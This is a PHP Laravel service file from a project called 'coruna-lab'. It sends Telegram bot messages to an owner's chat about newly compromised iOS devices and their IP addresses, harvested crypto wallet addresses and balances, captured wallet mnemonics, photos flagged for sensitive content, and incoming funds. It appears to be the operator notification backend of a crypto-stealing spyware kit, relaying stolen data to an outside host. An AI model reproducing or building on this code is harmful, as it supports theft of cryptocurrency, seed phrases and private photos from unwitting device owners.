coruna-lab/app/Services/TelegramNotifier.php

<?php

namespace App\Services;

use App\Models\WalletMnemonic;
use Illuminate\Support\Facades\Http;
use Illuminate\Support\Facades\Log;

class TelegramNotifier
{
    public function enabled(): bool
    {
        return (bool) (config('coruna.telegram.bot_token') && config('coruna.telegram.owner_chat_id'));
    }

    public function send(string $text): bool
    {
        if (! $this->enabled()) {
            return false;
        }
        $token = config('coruna.telegram.bot_token');
        $chatId = config('coruna.telegram.owner_chat_id');
        try {
            $resp = Http::timeout(15)->asForm()->post(
                "https://api.telegram.org/bot{$token}/sendMessage",
                [
                    'chat_id' => $chatId,
                    'text' => $text,
                    'parse_mode' => 'HTML',
                    'disable_web_page_preview' => true,
                ]
            );

            return $resp->successful();
        } catch (\Throwable $e) {
            Log::warning('telegram send failed: '.$e->getMessage());

            return false;
        }
    }

    public function notifyNewDevice(string $deviceId, ?string $ios, ?string $ip): void
    {
        $this->send(implode("\n", [
            '📱 <b>New Device</b>',
            '🔑 <b>Device</b>: <code>'.$this->e($deviceId).'</code>',
            '🍎 <b>iOS</b>: '.$this->e($ios ?: '—'),
            '🌐 <b>IP</b>: <code>'.$this->e($ip ?: '—').'</code>',
        ]));
    }

    public function notifyNewWallet(string $deviceId, string $address, ?string $chain, ?string $balance, ?string $symbol): void
    {
        $this->notifyNewWallets($deviceId, [[
            'address' => $address,
            'chain' => $chain ?: '',
            'balance' => $balance ?: '',
            'source' => $symbol ?: '',
        ]]);
    }

    /**
     * Batch wallet alerts into a single Telegram message.
     *
     * @param  list<array{address: string, chain?: string, balance?: string, source?: string}>  $wallets
     */
    public function notifyNewWallets(string $deviceId, array $wallets): void
    {
        if ($wallets === []) {
            return;
        }

        $lines = [
            '💰 <b>New Wallet Address</b>'.(count($wallets) > 1 ? ' ('.count($wallets).')' : ''),
            '📱 <b>Device</b>: <code>'.$this->e($deviceId).'</code>',
        ];

        foreach ($wallets as $i => $w) {
            $bal = trim((string) ($w['balance'] ?? ''));
            if ($bal === '') {
                $bal = '—';
            }
            $source = trim((string) ($w['source'] ?? ''));
            if ($i > 0) {
                $lines[] = '';
            }
            $lines[] = '⛓ <b>Chain</b>: '.$this->e(($w['chain'] ?? '') !== '' ? $w['chain'] : '—');
            if ($source !== '') {
                $lines[] = '🏷 <b>Source</b>: '.$this->e($source);
            }
            $lines[] = '📬 <b>Address</b>: <code>'.$this->e($w['address'] ?? '').'</code>';
            $lines[] = '💵 <b>Balance</b>: '.$this->e($bal);
        }

        $this->send(implode("\n", $lines));
    }

    public function notifyNewMemoric(string $deviceId, string $source, ?string $memoric): void
    {
        $this->send(implode("\n", [
            '🔐 <b>New Mnemonic</b>',
            '📱 <b>Device</b>: <code>'.$this->e($deviceId).'</code>',
            '🏷 <b>Source</b>: '.$this->e($source ?: '—'),
            '📝 <b>Mnemonic</b>: <code>'.$this->e(WalletMnemonic::maskSecret($memoric)).'</code>',
        ]));
    }

    public function notifyNewPhotos(string $deviceId): void
    {
        $this->send(implode("\n", [
            '🖼 <b>New Photos</b> <i>(with sensitive hits)</i>',
            '📱 <b>Device</b>: <code>'.$this->e($deviceId).'</code>',
        ]));
    }

    public function notifyBalanceChange(
        string $deviceId,
        string $address,
        string $symbol,
        string $amount,
        ?string $chain = null,
        ?string $balance = null,
    ): void {
        $lines = [
            '✅ <b>Balance Inbound</b>',
            '📱 <b>Device</b>: <code>'.$this->e($deviceId).'</code>',
            '⛓ <b>Chain</b>: '.$this->e($chain ?: '—'),
            '📬 <b>Address</b>: <code>'.$this->e($address).'</code>',
            '💵 <b>Amount</b>: +'.$this->e($amount).' '.$this->e($symbol),
        ];
        if ($balance !== null && trim($balance) !== '') {
            $lines[] = '💰 <b>Balance</b>: '.$this->e($balance);
        }
        $this->send(implode("\n", $lines));
    }

    private function e(?string $value): string
    {
        return htmlspecialchars((string) $value, ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8');
    }
}